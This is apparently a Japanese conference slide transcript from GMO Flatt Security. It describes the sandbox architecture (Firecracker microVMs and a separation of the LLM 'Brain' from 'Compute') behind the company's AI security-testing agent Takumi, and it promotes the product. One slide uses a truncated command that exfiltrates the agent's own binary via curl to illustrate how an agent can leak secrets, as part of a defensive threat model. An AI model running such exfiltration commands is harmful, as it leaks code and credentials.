AIエージェントSaaSを安全に提供する技術 / Architecture Conference 2025

© 2025 GMO Flatt Security Inc. All Rights Reserved. 米内
貴志（よねうちたかし）仕事＆趣味: ものづくりを安全にすること 2019年~ Flatt Security（’21~ CTO）著書『Webブラウザセキュリティ』等セキュリティ・キャンプ’12 参加 , ’18-’24スタッフ等未踏ターゲット’21 / Quantum-Classical Programming Language ICC’23 アジア代表 / Head Captain CODE BLUE レビューボード ‘24-’25

エンジニアの背中を預かるより多くのエンジニアがものづくりに集中できる社会を、セキュリティ面からつくる会社

© 2025 GMO Flatt Security Inc. All Rights Reserved. セキュリティ診断
AI

© 2025 GMO Flatt Security Inc. All Rights Reserved. 更新コードの定期診断
毎回頼まなくても！

© 2025 GMO Flatt Security Inc. All Rights Reserved. Takumi
の性能 96.2% Recall = TP/(TP + FN) に関する弊社ベンチマークホワイトボックス検査では、9割超の脆弱性の自動発見を実現合成脆弱性その他からなるデータセットを用意し、near-zero config 性能を比較した。結果として、対汎用エージェントに比して No.1 の性能。Precision 等他指標でも優位な結果を示した。

© 2025 GMO Flatt Security Inc. All Rights Reserved. Takumi
のインパクト Takumi は過去ゼロデイも発見してきた。中には悪用が報告されているものも Takumi が発見した 7-zip の脆弱性に悪用の報 https://thehackernews.com/2025/11/hackers-actively-exploiting-7-zip.html 過去の実証実験中、他著名OSSにも脆弱性報告 CVE-2025-29768 potential data loss with zip.vim and special crafted zip files in Vim < v9.1.1198 vim/vim CVE-2025-30218 x-middleware-subrequest-id may be leaked to external hosts  vercel/next.js

© 2025 GMO Flatt Security Inc. All Rights Reserved. 優先対処を要する
Dependabot PR の自動特定実業務で利用可能な高精度 95.2% 精度重大なリスクを見逃さない 0件偽陰性毎回頼まなくても！

© 2025 GMO Flatt Security Inc. All Rights Reserved. ブラックボックス診断
弊社データセット（OJS-BB-Only）内 70% 検知率弊社データセット（OJS-All）内 48% 検知率

© 2025 GMO Flatt Security Inc. All Rights Reserved. その他
チャットでも依頼可 Slack 上 Web 上

© 2025 GMO Flatt Security Inc. All Rights Reserved. もくじ
1 AIエージェント Takumi の動作環境に期待されること自社基盤「Sunaba」のアーキテクチャ 2 データ分離のための Brain-Compute Isolation 3 速さと安さを両立する Snapshot + Zero Scaling 4

Section 1 AIエージェント Takumi の動作環境に期待されること

© 2025 GMO Flatt Security Inc. All Rights Reserved. 課題1
データの分離

© 2025 GMO Flatt Security Inc. All Rights Reserved. その他
チャットでも依頼可タスクごとに色んな処理が求められるデータの分離が重要に

© 2025 GMO Flatt Security Inc. All Rights Reserved. セキュリティのための分離
Tenant A Data A Data B Tenant B 🤖 🤖 言うまでもなく、テナントを跨いだデータアクセスは、重大インシデントになる

© 2025 GMO Flatt Security Inc. All Rights Reserved. 正常動作のための分離
PR #1234 をレビューするスレッド PR #5678 をレビューするスレッド Let’s run `git checkout pr/5678`... Let’s run `git checkout pr/1234`... Okay let’s start reviewing the code... 関係ないコードをレビューし始めてしまう 💥 期待通りの並列動作のためには、タスクのお互いが干渉しあってはいけない

© 2025 GMO Flatt Security Inc. All Rights Reserved. AIエージェント動作環境に期待されること
顧客の安全のためつねに必要なデータのみが触れてほしい

自由度

© 2025 GMO Flatt Security Inc. All Rights Reserved. ブラックボックス診断
弊社データセット（OJS-BB-Only）内 70% 検知率弊社データセット（OJS-All）内 48% 検知率よりエージェントの取る行動が過激に結果として自由度が課題に

© 2025 GMO Flatt Security Inc. All Rights Reserved. ブラックボックス診断エンジンの概念図
入力されたURL等をもとに、ブラウザ操作＆攻撃コードを実行し、疑似攻撃する出力: 診断結果入力: URL・制約等生成した攻撃コードの実行ブラウザ操作 LLM 通信 Takumi byGMO (AI) アプリケーションサーバ https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っています

© 2025 GMO Flatt Security Inc. All Rights Reserved. 入力されたURL等をもとに、ブラウザ操作＆攻撃コードを実行し、疑似攻撃する
通信アプリケーションサーバ https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っています試験毎に独立したブラウザインスタンスが必要もはや、エージェントと同じ環境内でアプリを動かしたい場合も

© 2025 GMO Flatt Security Inc. All Rights Reserved. 入力されたURL等をもとに、ブラウザ操作＆攻撃コードを実行し、疑似攻撃する
生成した攻撃コードの実行通信アプリケーションサーバ https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っています https://target.example ID Password パスワードが間違っていますこの可否も性能を大きく左右しかし、かなりセンシティブ

顧客の安全のためつねに必要なデータのみが触れてほしいなにしてもいい環境がほしい優れた性能のため

コストと体験のバランス

© 2025 GMO Flatt Security Inc. All Rights Reserved. その他の用例
無償提供プログラムの多数展開。ユーザー数がこれまでにないペースで増加エンジニア応援プログラム for スタートアップ for バイブコーダー

© 2025 GMO Flatt Security Inc. All Rights Reserved. 体験（仕様や速さ含）と「安い」の両立も大切に
体験上は (論理的に) 常時起動したいすぐレスしたいので待ち受けていたいチャット型 UX の場合セッション中のデータ保持も必要 💥 💥 < Fine! 費用上は (物理的に) 極力停止したい常時起動では、顧客数増が通信費増に強く直結 💥

© 2025 GMO Flatt Security Inc. All Rights Reserved. 体験（仕様や速さ含）と「安い」の両立も大切に
体験上は (論理的に) 常時起動したいすぐレスしたいので待ち受けていたいチャット型 UX の場合セッション中のデータ保持も必要 💥 💥 < Fine! 費用上は (物理的に) 極力停止したい常時起動では、顧客数増が通信費増に強く直結 💥 ここにはトレードオフ

顧客の安全のためつねに必要なデータのみが触れてほしいなにしてもいい環境がほしい優れた性能のため高速かつ安く立ち上がってほしい優れた体験のため

顧客の安全のためつねに必要なデータのみが触れてほしいなにしてもいい環境がほしい優れた性能のため高速かつ安く立ち上がってほしい優れた体験のためこれが解きたくて自社基盤を運用しています

Section 2 自社基盤「Sunaba」のアーキテクチャ

© 2025 GMO Flatt Security Inc. All Rights Reserved. Sunaba（すなば）とは
Flatt 内製のAIエージェント動作基盤要約すると「エージェントを起動して！と頼むといい感じに microVMs を起動して、適度なタイミングで殺してくれる君」 Takumi の主要処理は、たいてい Sunaba の上で動作している

© 2025 GMO Flatt Security Inc. All Rights Reserved. Sunaba
- 大まかなコンポーネント Node (VM pool) apiserver = microVM Forward  request Give me a VM! ……

- Takumi の場合 Node (VM pool) apiserver Takumi システム = microVM Forward  request Give me a VM! 「XXXの診断して！」空きノードを選択し microVM を作成依頼

- Takumi の場合 Node (VM pool) apiserver Takumi システム「XXXの診断して！」 Takumi は Sunaba ユーザーの例エージェント実行時、Sunaba を呼び出す

- Takumi の場合 Node (VM pool) apiserver Takumi システム Give me a VM! 2つの microVMs (後述) からなるエージェントの作成を依頼する

- Takumi の場合 Node (VM pool) apiserver Takumi システム Forward  request 空きノードを選択し microVM を作成依頼 apiserver はノードの状態を知っているいい感じ (後述) にスケジューリングし、相手方ノードに microVMs の作成を依頼

- Takumi の場合 Node (VM pool) apiserver Takumi システムノード内では nodeproxy なるコンポーネントが動作 VMM と連携し microVM を実際に生成する ※ 不要 microVM の GC や、apiserver との状態同期も責務内

© 2025 GMO Flatt Security Inc. All Rights Reserved. いわゆるコンテナでの分離だと？
Hardware Linux Kernel App rootfs Linux namespace App rootfs Linux namespace あくまでユーザーランド内の 1 プロセス userns, pidns 等で空間分離されてるだけ

© 2025 GMO Flatt Security Inc. All Rights Reserved. いわゆるコンテナでの分離だと？
Hardware Linux Kernel App rootfs Linux namespace App rootfs Linux namespace gVisor 等がそうであるように、ptrace(2) や seccomp とかでゴニョゴニョする余地はありますが… syscall はホスト側カーネルへ直通 syscall は多様な為、攻撃平面多め syscall

- Takumi の場合 Node (VM pool) apiserver Takumi システムあと Devin のように、ユーザーに直接エージェント環境内を触らせる可能性も加味しておく必要があった。すると悪意のある人間が狙って Escape しにくるかもここでAIエージェント Takumi が動くがエージェントの行動制御は確実にはしにくいふつうのコンテナより、ホスト侵害リスクを高く評価したい

- Takumi の場合 Node (VM pool) apiserver Takumi システムいろいろ加味して KVM + Firecracker で microVM を立て、ここでエージェントを実行している

© 2025 GMO Flatt Security Inc. All Rights Reserved. KVM
ベースでの分離？ Hardware Linux Kernel Linux Kernel KVM + VMM Guest OS App Guest OS App アプリはゲストOS上の1プロセスになる

ベースでの分離？ Hardware Linux Kernel Linux Kernel KVM + VMM Guest OS App Guest OS App syscall syscall は Guest OS までしか届かないカーネル脆弱性だけではホスト侵害は難

ベースでの分離？ Hardware Linux Kernel Linux Kernel KVM + VMM Guest OS App Guest OS App VMExit VMEntry ホスト側に戻ってくる場面はある一方、Linux syscalls に比べ攻撃平面は少あくまで相対的に、ではある特に VMM に Firecracker を選ぶ限り、device emulation もかなり限定的で、 VM Escape は相当難易度高いだろうと思っている

© 2025 GMO Flatt Security Inc. All Rights Reserved. Kubernetes
っぽいが… Node (VM pool) apiserver Takumi システム Forward  request 空きノードを選択し microVM を作成依頼 kube-apiserver っぽい？ kubelet っぽい？

と Sunaba kube-apiserver kubelet High-level Runtime containerd とか Low-level Runtime runc とか High-level Runtime containerd とか Low-level Runtime runc とか CRI CRI kubelet apiserver nodeproxy Firecracker +KVM Firecracker +KVM nodeproxy

と Sunaba kube-apiserver kubelet High-level Runtime containerd とか Low-level Runtime runc とか High-level Runtime containerd とか Low-level Runtime runc とか kubelet apiserver nodeproxy Firecracker +KVM Firecracker +KVM nodeproxy コントロールプレーン側の責務は近いクラスタ全体を管理する責務ただし実装はかなり軽い ∵ K8s 機能の大半はオーバースペックで不要だった為

と Sunaba kube-apiserver kubelet High-level Runtime containerd とか Low-level Runtime runc とか High-level Runtime containerd とか Low-level Runtime runc とか kubelet apiserver nodeproxy Firecracker +KVM Firecracker +KVM nodeproxy 同じく責務は似ている同じく実装は軽量

と Sunaba kube-apiserver kubelet High-level Runtime containerd とか Low-level Runtime runc とか High-level Runtime containerd とか Low-level Runtime runc とか kubelet apiserver nodeproxy Firecracker +KVM Firecracker +KVM nodeproxy やりたいことに特化、抽象化少なめエコシステム充実しており階層多勿論この辺で Kata + Firecracker みたいな選択肢も浮かばなくなかったが、不要な機能も多く、今後の独自要件のために遠回りが必要な感覚もあった

© 2025 GMO Flatt Security Inc. All Rights Reserved. 余談:
この技術選定は、いまのところどうだったか結論、いい感じで、このまま行きます今回は「巨人の肩に乗らない」ほうを選んだと言える実際、再発明箇所もしばしばあるたぶん普通の事業なら、これを作る決断はしない一方、われわれの事業だと、逃げられない選択肢だった今後見知らぬ人のコードを Takumi はもっと実行する。既存基盤での対応難がちよく睨むとAIのComputingの自由度は我々の事業の核。生殺与奪を握らせるな作るのも重すぎないくらいだった（開発も数人・3ヶ月程度）

Section 3 データ分離のための Brain-Compute Isolation サンドボックス基盤「Sunaba」の基本思想

© 2025 GMO Flatt Security Inc. All Rights Reserved. LLM
App の基本構造と課題 total 0 drwxr-xr-x@ ... App exec([“ls”, “./hello”]) 💥 LLM ShellTool(“ls ./hello”) LLM App は、LLM の Tool Use Response をもとに、様々な行動をとる実行可能 Tool の自由度が高いほど、実行環境 (Compute) 内のリスクも高くなる

App の基本構造 total 0 drwxr-xr-x@ ... App exec([“ls”, “./hello”]) 💥 LLM ShellTool(“ls ./hello”) LLM App は、LLM の Tool Use Response をもとに、様々な行動をとる実行可能 Tool の自由度が高いほど、実行環境 (Compute) 内のリスクも高くなる自分自身の実行ファイルが持ち出されるかも例: cat /path/to/takumi | base64 -d | curl ...

App の基本構造 ListRepos() App gh repo list ... 💥 LLM Here’s the list: shisho-security/test1 shisho-security/test2 ... LLM App は、LLM の Tool Use Response をもとに、様々な行動をとる実行可能 Tool の自由度が高いほど、実行環境 (Compute) 内のリスクも高くなる API キー等が持ち出されてしまうかも ※ ツール向けのキー、LLM API向けのキー等

© 2025 GMO Flatt Security Inc. All Rights Reserved. Brain-Compute
Isolation (詳細) Sunaba では、LLM の制動部分 (Brain) と、Tool 一部の実行環境 (Compute) を分離 Run “ls ./hello” Run “ls ./hello” Sunaba Agent (in a Sunaba Node) microVM microVM total 0 drwxr-xr-x@ ... Brain Compute LLM Sonnet 等 total 0 drwxr-xr-x@ ... sandboxd sandboxd exec([“ls”, “./hello”]) 💥

Isolation (詳細) Sunaba では、LLM の制動部分 (Brain) と、Tool 一部の実行環境 (Compute) を分離 Run “ls ./hello” Run “ls ./hello” Sunaba Agent (in a Sunaba Node) microVM microVM total 0 drwxr-xr-x@ ... Brain Compute LLM Sonnet 等 total 0 drwxr-xr-x@ ... sandboxd sandboxd exec([“ls”, “./hello”]) 💥 APIキーなどは Brain 側にのみ設置任意コマンド実行時等に漏れない

Isolation (詳細) Sunaba では、LLM の制動部分 (Brain) と、Tool 一部の実行環境 (Compute) を分離 Run “ls ./hello” Run “ls ./hello” Sunaba Agent (in a Sunaba Node) microVM microVM total 0 drwxr-xr-x@ ... Brain Compute LLM Sonnet 等 total 0 drwxr-xr-x@ ... sandboxd sandboxd exec([“ls”, “./hello”]) 💥 Compute 側には最小のデーモンを設置極論 Compute 内に漏れてまずいシステムデータはない

Section 4 速さと安さを両立する Snapshot & OverlayFS + Zero Scaling サンドボックス基盤「Sunaba」の基本思想

© 2025 GMO Flatt Security Inc. All Rights Reserved. (A)
Snapshot & OverlayFS（さわりだけ）予め必要なファイルを含むレイヤ（Snapshot）を準備利用時は上に書き込み可能レイヤを OverlayFS として被せる < Fine! (1) エージェントを起動する際、ベースイメージがあればダウンロード cat /etc/hosts echo “foo” > /etc/hosts Read: RO FS から読むだけ Write: Copy-on-Write (2) ベースイメージは R/O で上にR/Wレイヤを被せてマウント・起動 Read-Write FS Read-Only FS Copy Modify Read

© 2025 GMO Flatt Security Inc. All Rights Reserved. (B)
Zero Scaling（さわりだけ）各 microVM 内のデーモンを経由して、タスクの状態を外部に Expose いらなくなったエージェントは、よしなに殺される（i.e. garbager collection） < Fine! … 一定時間は VM を維持 … 暇になったタイミングで死亡 💥 時間の都合上、詳細説明はできず… すみません Terminating State の Agent をいい感じに GC する

Section 5 まとめ

顧客の安全のためつねに必要なデータのみが触れてほしい → Brain-Compute Isolation で実現なにしてもいい環境がほしい優れた性能のため → ワークロードのVMレベル分離で実現 (Firecracker + KVM) 高速かつ安く立ち上がってほしい優れた体験のため → Snapshot + Zero-Scaling を実装し実現

宣伝: Takumi 使ってみてください!!!!!

© 2025 GMO Flatt Security Inc. All Rights Reserved. プロフェッショナル品質の
セキュリティ診断 AI セキュリティエンジニアセキュリティに不安のある開発者主な利用者ホワイトボックス型診断（AI-SAST）ブラックボックス型 Web診断（AI-DAST）できること税抜月額7万円（250クレジット分利用可能）たくさん利用したい月はクレジット追加可能費用開発・提供いつでも使えます！ 􀊫Takumi セキュリティ

エンジニアの背中を預かるより多くのエンジニアがものづくりに集中できる社会を、セキュリティ面からつくる会社

AIエージェントSaaSを安全に提供する技術 / Architecture Conferen...

AIエージェントSaaSを安全に提供する技術 / Architecture Conference 2025

More Decks by GMO Flatt Security

Featured

Transcript